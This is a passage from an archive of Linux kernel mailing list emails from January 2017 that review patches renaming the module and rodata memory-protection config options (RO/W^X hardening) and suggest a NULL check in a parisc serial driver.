Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from [65.50.211.133] (helo=bombadil.infradead.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cUAzO-00036u-BX
	for linux-arm-kernel@m.gmane.org; Thu, 19 Jan 2017 12:34:46 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cUAzN-000848-1o; Thu, 19 Jan 2017 11:34:45 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cUAzJ-0007zK-L3
 for linux-arm-kernel@lists.infradead.org; Thu, 19 Jan 2017 11:34:43 +0000
Original-Received: from pps.filterd (m0098410.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.20/8.16.0.20) with SMTP id
 v0JBXTno048737
 for <linux-arm-kernel@lists.infradead.org>; Thu, 19 Jan 2017 06:34:21 -0500
Original-Received: from e06smtp12.uk.ibm.com (e06smtp12.uk.ibm.com [195.75.94.108])
 by mx0a-001b2d01.pphosted.com with ESMTP id 282npyf6f8-1
 (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
 for <linux-arm-kernel@lists.infradead.org>; Thu, 19 Jan 2017 06:34:21 -0500
Original-Received: from localhost
 by e06smtp12.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-arm-kernel@lists.infradead.org> from <heiko.carstens@de.ibm.com>;
 Thu, 19 Jan 2017 11:34:18 -0000
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
 by e06smtp12.uk.ibm.com (192.168.101.142) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 Thu, 19 Jan 2017 11:34:09 -0000
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com
 (d06relay09.portsmouth.uk.ibm.com [9.149.109.194])
 by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id C704C2190023;
 Thu, 19 Jan 2017 11:33:15 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 v0JBY9nK11403652; Thu, 19 Jan 2017 11:34:09 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 2A36742052;
 Thu, 19 Jan 2017 10:32:02 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 7B2764203F;
 Thu, 19 Jan 2017 10:32:01 +0000 (GMT)
Original-Received: from osiris (unknown [9.152.212.54])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Thu, 19 Jan 2017 10:32:01 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20170119111117.GB11176@leverpostej>
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 17011911-0008-0000-0000-000003D5C3D0
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17011911-0009-0000-0000-00001C27887D
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:, ,
 definitions=2017-01-19_03:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1612050000
 definitions=main-1701190160
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170119_033441_701696_DD67C00E 
X-CRM114-Status: GOOD (  14.61  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
X-Broken-Reverse-DNS: no host name found for IP address 65.50.211.133
Xref: news.gmane.org gmane.linux.ports.arm.kernel:552132 gmane.linux.documentation:44407 gmane.linux.kernel.hardened.devel:5236 gmane.linux.ports.parisc:27214 gmane.linux.power-management.general:85544 gmane.linux.kernel:2391900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/552132>

On Thu, Jan 19, 2017 at 11:11:18AM +0000, Mark Rutland wrote:
> > +config HARDENED_MODULE_MAPPINGS
> > +	bool "Mark module mappings with stricter permissions (RO/W^X)"
> > +	default y
> > +	depends on ARCH_HAS_HARDENED_MODULE_MAPPINGS
> > +	help
> > +	  If this is set, module text and rodata memory will be made read-only,
> > +	  and non-text memory will be made non-executable. This provides
> > +	  protection against certain security vulnerabilities (e.g. modifying
> > +	  code)
> > +
> > +	  Unless your system has known restrictions or performance issues, it
> > +	  is recommended to say Y here.
> > +
> 
> I was hoping that we'd make this mandatory, as we'd already done for
> DEBUG_RODATA.

Same for s390: would be good to make this mandatory.

From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Thu, 19 Jan 2017 11:43:25 +0000
Lines: 179
Approved: news@gmane.org
Message-ID: <5005f110-2279-9ac7-c9c5-1894b8f6387d@arm.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484826245 11434 195.159.176.226 (19 Jan 2017 11:44:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 11:44:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>, linux-doc@vger.kernel.org,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
        kernel-hardening@lists.openwall.com, Rob Herring <robh@kernel.org>,
        Jessica Yu <jeyu@redhat.com>, Jonathan Corbet <corbet@lwn.net>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Len Brown <len.brown@intel.com>, linux-s390@vger.kernel.org,
        Will Deacon <will.deacon@arm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-pm@vger.kernel.org, "Ra
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 19 12:43:57 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cUB7x-0000q2-Lq
	for glk-linux-kernel-3@m.gmane.org; Thu, 19 Jan 2017 12:43:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752316AbdASLnk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 19 Jan 2017 06:43:40 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:47838 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752135AbdASLni (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Jan 2017 06:43:38 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 7DCF11515;
        Thu, 19 Jan 2017 03:43:30 -0800 (PST)
Original-Received: from [10.1.211.71] (e104324-lin.cambridge.arm.com [10.1.211.71])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 68B6E3F220;
        Thu, 19 Jan 2017 03:43:26 -0800 (PST)
In-Reply-To: <1484789346-21012-3-git-send-email-labbott@redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2391911 gmane.linux.documentation:44408 gmane.linux.kernel.hardened.devel:5237 gmane.linux.ports.arm.kernel:552134 gmane.linux.ports.parisc:27215 gmane.linux.power-management.general:85545
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2391911>

Hi Laura,

On 19/01/17 01:29, Laura Abbott wrote:
> 
> Despite the word 'debug' in CONFIG_DEBUG_SET_MODULE_RONX, this kernel
> option provides key security features that are to be expected on a
> modern system. Change the name to CONFIG_HARDENED_MODULE_MAPPINGS which
> more accurately describes what this option is intended to do.
> 
> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---

[...]

> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 09aff28..ef852e4 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -8,6 +8,7 @@ config ARM
>  	select ARCH_HAVE_CUSTOM_GPIO_H
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS if MMU
>  	select ARCH_MIGHT_HAVE_PC_PARPORT
>  	select ARCH_SUPPORTS_ATOMIC_RMW
>  	select ARCH_USE_BUILTIN_BSWAP
> diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
> index d83f7c3..426d271 100644
> --- a/arch/arm/Kconfig.debug
> +++ b/arch/arm/Kconfig.debug
> @@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
>  	  additional instructions during context switch. Say Y here only if you
>  	  are planning to use hardware trace tools with this kernel.
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES && MMU
> -	---help---
> -	  This option helps catch unintended modifications to loadable
> -	  kernel module's text and read-only data. It also prevents execution
> -	  of module data. Such protection may interfere with run-time code
> -	  patching and dynamic kernel tracing - and they might also protect
> -	  against certain classes of kernel exploits.
> -	  If in doubt, say "N".
> -
>  source "drivers/hwtracing/coresight/Kconfig"
>  
>  endmenu

[...]

> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -12,6 +12,7 @@ config ARM64
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
>  	select ARCH_HAS_HARDENED_MAPPINGS
> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
> index a26d27f..1eebe1f 100644
> --- a/arch/arm64/Kconfig.debug
> +++ b/arch/arm64/Kconfig.debug
> @@ -71,17 +71,6 @@ config DEBUG_WX
>  
>  	  If in doubt, say "Y".
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES
> -	default y
> -	help
> -	  Is this is set, kernel module text and rodata will be made read-only.
> -	  This is to help catch accidental or malicious attempts to change the
> -	  kernel's executable code.
> -
> -	  If in doubt, say Y.
> -
>  config DEBUG_ALIGN_RODATA
>  	depends on ARCH_HAS_HARDENED_MAPPINGS
>  	bool "Align linker sections up to SECTION_SIZE"

[...]

> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -69,6 +69,7 @@ config S390
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
>  	select ARCH_HAS_HARDENED_MAPPINGS
> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_UBSAN_SANITIZE_ALL
> diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
> index 26c5d5be..57f8ea9 100644
> --- a/arch/s390/Kconfig.debug
> +++ b/arch/s390/Kconfig.debug
> @@ -17,7 +17,4 @@ config S390_PTDUMP
>  	  kernel.
>  	  If in doubt, say "N"
>  
> -config DEBUG_SET_MODULE_RONX
> -	def_bool y
> -	depends on MODULES
>  endmenu
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index 9d80cd8..38ce850 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -51,6 +51,7 @@ config X86
>  	select ARCH_HAS_FAST_MULTIPLIER
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_HARDENED_MAPPINGS
> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>  	select ARCH_HAS_KCOV			if X86_64
>  	select ARCH_HAS_MMIO_FLUSH
>  	select ARCH_HAS_PMEM_API		if X86_64
> diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
> index 67eec55..69cdd0b 100644
> --- a/arch/x86/Kconfig.debug
> +++ b/arch/x86/Kconfig.debug
> @@ -109,17 +109,6 @@ config DEBUG_WX
>  
>  	  If in doubt, say "Y".
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES
> -	---help---
> -	  This option helps catch unintended modifications to loadable
> -	  kernel module's text and read-only data. It also prevents execution
> -	  of module data. Such protection may interfere with run-time code
> -	  patching and dynamic kernel tracing - and they might also protect
> -	  against certain classes of kernel exploits.
> -	  If in doubt, say "N".
> -
>  config DEBUG_NX_TEST
>  	tristate "Testcase for the NX non-executable stack feature"
>  	depends on DEBUG_KERNEL && m

[...]

> --- a/security/Kconfig
> +++ b/security/Kconfig
> @@ -174,6 +174,22 @@ config HARDENED_PAGE_MAPPINGS
>  	  Unless your system has known restrictions or performance issues, it
>  	  is recommended to say Y here.
>  
> +config ARCH_HAS_HARDENED_MODULE_MAPPINGS
> +	def_bool n
> +
> +config HARDENED_MODULE_MAPPINGS
> +	bool "Mark module mappings with stricter permissions (RO/W^X)"
> +	default y
> +	depends on ARCH_HAS_HARDENED_MODULE_MAPPINGS

It would seem that this ends up losing the previous dependency on
MODULES - is that intentional?

Robin.

> +	help
> +	  If this is set, module text and rodata memory will be made read-only,
> +	  and non-text memory will be made non-executable. This provides
> +	  protection against certain security vulnerabilities (e.g. modifying
> +	  code)
> +
> +	  Unless your system has known restrictions or performance issues, it
> +	  is recommended to say Y here.
> +
>  source security/selinux/Kconfig
>  source security/smack/Kconfig
>  source security/tomoyo/Kconfig
> 



From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 12:33:05 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20170119113305.GB5110@osiris>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119105646.GA11176@leverpostej>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484840793 9920 195.159.176.226 (19 Jan 2017 15:46:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 15:46:33 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Laura Abbott <labbott@redhat.com>, Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>, Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>, "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-parisc@vger.k
To: Mark Rutland <mark.rutland@arm.com>
Original-X-From: kernel-hardening-return-6093-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 16:46:25 2017
Return-path: <kernel-hardening-return-6093-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6093-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cUEud-0000la-6a
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 16:46:07 +0100
Original-Received: (qmail 18167 invoked by uid 550); 19 Jan 2017 15:46:10 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 18143 invoked from network); 19 Jan 2017 15:46:09 -0000
Content-Disposition: inline
In-Reply-To: <20170119105646.GA11176@leverpostej>
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 17011911-0040-0000-0000-00000336BA70
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17011911-0041-0000-0000-00001E9B8034
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-01-19_03:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1612050000
 definitions=main-1701190160
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5246 gmane.linux.documentation:44412 gmane.linux.kernel:2392099 gmane.linux.ports.arm.kernel:552298 gmane.linux.ports.parisc:27216 gmane.linux.power-management.general:85571
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5246>

On Thu, Jan 19, 2017 at 10:56:46AM +0000, Mark Rutland wrote:
> > +config HARDENED_PAGE_MAPPINGS
> > +	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
> > +	default y
> > +	depends on ARCH_HAS_HARDENED_MAPPINGS
> > +	help
> > +          If this is set, kernel text and rodata memory will be made read-only,
> > +	  and non-text memory will be made non-executable. This provides
> > +	  protection against certain security attacks (e.g. executing the heap
> > +	  or modifying text).
> > +
> > +	  Unless your system has known restrictions or performance issues, it
> > +	  is recommended to say Y here.
> 
> It's somewhat unfortunate that this means the feature is no longer
> mandatory on arm64 (and s390+x86). We have a boot-time switch to turn
> the protections off, so I was hoping we could make this mandatory on all
> architectures with support.
> 
> It would be good to see if we could make this mandatory for arm and
> parisc, or if it really needs to be optional for either of those.

Looks like the config option is a no-op on parisc just like it is on
s390. Irrelavant of the config option at least on s390 the page tables for
kernel text and rodata will be read-only anyway.

This works since ages and I don't see a reason why this should be
changed. Also trying to disable this with the "rodata=" command line option
does not work at least on s390, and I guess this is true for parisc as
well.

The only thing implemented with CONFIG_DEBUG_RODATA on both architectures
is to emit a message that states memory has been protected
(mark_rodata_ro).
This just avoids a wrong "Kernel memory protection disabled." message.

So yes, I'd really like to keep this option mandatory.



From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v1] tty: serial: 8250: 8250_gsc:- Handle return NULL error
 from ioremap_nocache
Date: Thu, 19 Jan 2017 20:48:07 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <CAHp75VfNwkBK2E1bJxCP+-3iv4+GBztVi=Mum1LYe=VunqpxMA@mail.gmail.com>
References: <1484812844-10598-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1484851906 25222 195.159.176.226 (19 Jan 2017 18:51:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 18:51:46 +0000 (UTC)
Cc: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, linux-parisc@vger.kernel.org,
        "linux-serial@vger.kernel.org" <linux-serial@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Arvind Yadav <arvind.yadav.cs@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 19 19:51:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cUHnq-0006zk-98
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Jan 2017 19:51:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754249AbdASSvX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Jan 2017 13:51:23 -0500
Original-Received: from mail-yb0-f194.google.com ([209.85.213.194]:32950 "EHLO
        mail-yb0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754187AbdASSvW (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Jan 2017 13:51:22 -0500
Original-Received: by mail-yb0-f194.google.com with SMTP id 123so3923277ybe.0;
        Thu, 19 Jan 2017 10:48:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=q4CR9bSn5oOw7h/IaBaTvG+iVRRFRoXSfM5+YAWelJE=;
        b=oIaSdhG87JCck2/Vu8QeZL7e9g6TBWjc7lL+0CDLRR1V9Aydqn4h1ACaQ9toB1tHSy
         OHEEE8GKaBfjKOKJOeX67q0CBDcaoh8opn/FTrqUnWPtGKpYOx/JxlNwig5yvLXpeJBy
         HDw/a5s7s+FT8PIQjY4JdlAGn6YAu6qFqddzikbnNk6Y5nkgemh8rsqdef/h85+rMoZX
         rFdQfWgLfV2zFrYZa3cAkNUE4rhn2PX6E/zlXmCQitnlOGQdub/RpDCaTmFIUaoP04FX
         lu0xXEYGrRoLrparkUIp7qgk7dEP3Ad1c1AIXR5hCS6QTlPmm6Gq48NozSxSBI9obBrL
         EOMg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=q4CR9bSn5oOw7h/IaBaTvG+iVRRFRoXSfM5+YAWelJE=;
        b=Y/Cm3ieYH94miM+o/fAgBQU1HxKoaJqLUbctDJKXyfQAVbC0w8fDO98LiFucIzLcSj
         ZqCunnXvFnuJ1sxY8H9Jf85xm+pbCQ2lWVtdxDCAxyhbiqyd0KBaYWVVzLRexuKTjUIR
         Orn/lu8p7ZIk0F3eLmsLkZMbxX+PLpgMcSFmS05UR2/9O/M1B3op3xsxAwgWvVzVuxuG
         V/DE18P0QWCZciCKFebRf50TV0ZU+JA0jbs4qBqv5KDrL6uZ+PC9Kh+9qmEg3EMoMMrW
         OYJLa3RbThu7APRWsblaoTtMg6eY7e4fGVOICHuC1C8UUj0TSz3VDxxDXgss0sRRu4m6
         TXSg==
X-Gm-Message-State: AIkVDXJwRJ3NvWT4O9Z+vTbq/z0eCImezZDyeSEyf3wyN5kxcQpmcSaS6WbeNevKHQvl0sUltN/bm20swVgFXA==
X-Received: by 10.200.41.175 with SMTP id 44mr9379186qts.53.1484851688148;
 Thu, 19 Jan 2017 10:48:08 -0800 (PST)
Original-Received: by 10.12.129.153 with HTTP; Thu, 19 Jan 2017 10:48:07 -0800 (PST)
In-Reply-To: <1484812844-10598-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27217 gmane.linux.serial:24923 gmane.linux.kernel:2392288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27217>

On Thu, Jan 19, 2017 at 10:00 AM, Arvind Yadav
<arvind.yadav.cs@gmail.com> wrote:
> Here, If ioremap_nocache will fail. It will return NULL.
> Kernel can run into a NULL-pointer dereference.
> This error check will avoid NULL pointer dereference.

>         uart.port.mapbase       = address;
>         uart.port.membase       = ioremap_nocache(address, 16);
> +       if (!uart.port.membase) {
> +               dev_warn(&dev->dev, "Failed to map memory\n");
> +               return -ENOMEM;
> +       }

You also may do something like

void __iomem *base;
...

base = ioremap_nocache(...);
if (!base)
 return -ENOMEM;
// I doubt the message is useful, up to you

memset(&uart, 0, sizeof(uart));
...
uart.port.membase       = base;

-- 
With Best Regards,
Andy Shevchenko
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 22:17:12 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <a3c9b67f-9b10-15d5-c00f-7b8a98d11001@gmx.de>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119105646.GA11176@leverpostej> <20170119113305.GB5110@osiris>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484860756 29771 195.159.176.226 (19 Jan 2017 21:19:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
